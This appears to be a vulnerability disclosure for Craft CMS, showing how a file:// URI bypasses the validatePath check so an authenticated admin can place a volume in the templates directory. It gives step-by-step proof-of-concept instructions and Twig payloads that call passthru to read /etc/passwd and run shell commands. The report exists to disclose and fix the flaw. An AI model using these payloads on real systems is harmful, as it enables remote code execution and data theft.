Summary
Bypassing the validatePath function can lead to potential Remote Code Execution
(Post-authentication, ALLOW_ADMIN_CHANGES=true)
Details
In bootstrap.php, the SystemPaths path is set as below.
// Set the vendor path. By default assume that it's 4 levels up from here
$vendorPath = $findConfigPath('--vendorPath', 'CRAFT_VENDOR_PATH') ?? dirname(__DIR__, 3);
// Set the "project root" path that contains config/, storage/, etc. By default assume that it's up a level from vendor/.
$rootPath = $findConfigPath('--basePath', 'CRAFT_BASE_PATH') ?? dirname($vendorPath);
// By default the remaining directories will be in the base directory
$dotenvPath = $findConfigPath('--dotenvPath', 'CRAFT_DOTENV_PATH') ?? "$rootPath/.env";
$configPath = $findConfigPath('--configPath', 'CRAFT_CONFIG_PATH') ?? "$rootPath/config";
$contentMigrationsPath = $findConfigPath('--contentMigrationsPath', 'CRAFT_CONTENT_MIGRATIONS_PATH') ?? "$rootPath/migrations";
$storagePath = $findConfigPath('--storagePath', 'CRAFT_STORAGE_PATH') ?? "$rootPath/storage";
$templatesPath = $findConfigPath('--templatesPath', 'CRAFT_TEMPLATES_PATH') ?? "$rootPath/templates";
$translationsPath = $findConfigPath('--translationsPath', 'CRAFT_TRANSLATIONS_PATH') ?? "$rootPath/translations";
$testsPath = $findConfigPath('--testsPath', 'CRAFT_TESTS_PATH') ?? "$rootPath/tests";Because paths are validated based on the /path1/path2 format, this can be bypassed using a file URI scheme such as file:///path1/path2. File scheme is supported in mkdir()
/**
* @param string $attribute
* @param array|null $params
* @param InlineValidator $validator
* @return void
* @since 4.4.6
*/
public function validatePath(string $attribute, ?array $params, InlineValidator $validator): void
{
// Make sure it’s not within any of the system directories
$path = FileHelper::absolutePath($this->getRootPath(), '/');
$systemDirs = Craft::$app->getPath()->getSystemPaths();
foreach ($systemDirs as $dir) {
$dir = FileHelper::absolutePath($dir, '/');
if (str_starts_with("$path/", "$dir/")) {
$validator->addError($this, $attribute, Craft::t('app', 'Local volumes cannot be located within system directories.'));
break;
}
}
}ref. https://www.php.net/manual/en/wrappers.file.php
PoC
- Create a new filesystem. Base Path: file:///var/www/html/templates
- Create a new asset volume. Asset Filesystem: local_bypass
- Upload a ttml file with rce template code. Confirm poc.ttml file created in /var/www/html/templates
{{'<pre>'}}
{{1337*1337}}
{{['cat /etc/passwd']|map('passthru')|join}}
{{['id;pwd;ls -altr /']|map('passthru')|join}}
- Create a new route. URI: * , Template: poc.ttml
- Confirm RCE on arbitrary path ( /* )
PoC Env
Impact
Take control of vulnerable systems, Data exfiltrations, Malware execution, Pivoting, etc.
although the vulnerability is exploitable only in the authenticated users, configuration with ALLOW_ADMIN_CHANGES=true, there is still a potential security threat (Remote Code Execution)
awakerrday Reporter
Summary
Bypassing the validatePath function can lead to potential Remote Code Execution
(Post-authentication, ALLOW_ADMIN_CHANGES=true)
Details
In bootstrap.php, the SystemPaths path is set as below.
Because paths are validated based on the /path1/path2 format, this can be bypassed using a file URI scheme such as file:///path1/path2. File scheme is supported in mkdir()
ref. https://www.php.net/manual/en/wrappers.file.php
PoC
{{'<pre>'}} {{1337*1337}} {{['cat /etc/passwd']|map('passthru')|join}} {{['id;pwd;ls -altr /']|map('passthru')|join}}PoC Env
Impact
Take control of vulnerable systems, Data exfiltrations, Malware execution, Pivoting, etc.
although the vulnerability is exploitable only in the authenticated users, configuration with ALLOW_ADMIN_CHANGES=true, there is still a potential security threat (Remote Code Execution)